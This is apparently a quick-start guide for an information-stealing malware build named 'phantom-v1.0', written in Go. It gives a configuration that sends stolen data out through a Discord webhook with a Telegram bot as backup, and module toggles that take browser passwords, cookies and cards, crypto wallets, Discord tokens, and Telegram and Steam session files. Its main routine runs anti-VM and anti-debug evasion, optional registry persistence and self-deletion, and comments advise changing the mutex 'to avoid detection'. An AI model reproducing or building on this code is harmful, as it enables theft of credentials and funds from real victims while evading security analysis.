Quick Start Guide

// C2 Configuration - Set your webhook/bot details
var (
    // Discord webhook - PRIMARY exfil method
    // format: https://discord.com/api/webhooks/xxxxx/yyyyy
    DiscordWebhook = "https://discord.com/api/webhooks/YOUR_WEBHOOK_HERE"

    // Telegram bot - BACKUP exfil method
    TelegramToken  = "YOUR_BOT_TOKEN"
    TelegramChatID = "YOUR_CHAT_ID" // get from @userinfobot
)

// Module Toggles
var (
    StealBrowsers  = true  // passwords, cookies, cards, history
    StealCrypto    = true  // desktop + extension wallets
    StealDiscord   = true  // discord tokens
    StealTelegram  = true  // tdata session files
    StealSteam     = true  // ssfn + config files
    TakeScreenshot = true  // png screenshot
    GrabSystemInfo = true  // hostname, ip, specs, etc

    // DANGER ZONE - these are noisier
    Persistence  = false // off by default - adds to registry/startup
    SelfDestruct = false // delete exe after run

    // Anti-analysis (recommended for prod builds)
    AntiVM    = true
    AntiDebug = true
)

var (
    BuildID   = "phantom-v1.0"
    MutexName = "phantom_mtx_7f3a9b2c" // change to avoid detection
)

func main() {
    // PHASE 1: Environment checks
    if config.AntiVM || config.AntiDebug {
        if !evasion.RunAntiAnalysis(config.AntiVM, config.AntiDebug) {
            os.Exit(0)
        }
    }

    // PHASE 2: Persistence (optional)
    if config.Persistence {
        persist.Install(persist.Registry)
    }

    // PHASE 3: Data collection
    data := &exfil.StealerData{
        Timestamp:  time.Now(),
        BuildID:    config.BuildID,
    }
    data.SystemInfo = recon.Collect()
    data.Browsers = browsers.StealAll()
    data.Wallets = wallets.StealAll()
    data.Tokens = tokens.StealAll()

    // PHASE 4: Exfiltration
    exfil.Exfiltrate(data)

    // PHASE 5: Cleanup
    if config.SelfDestruct {
        persist.SelfDelete()
    }
}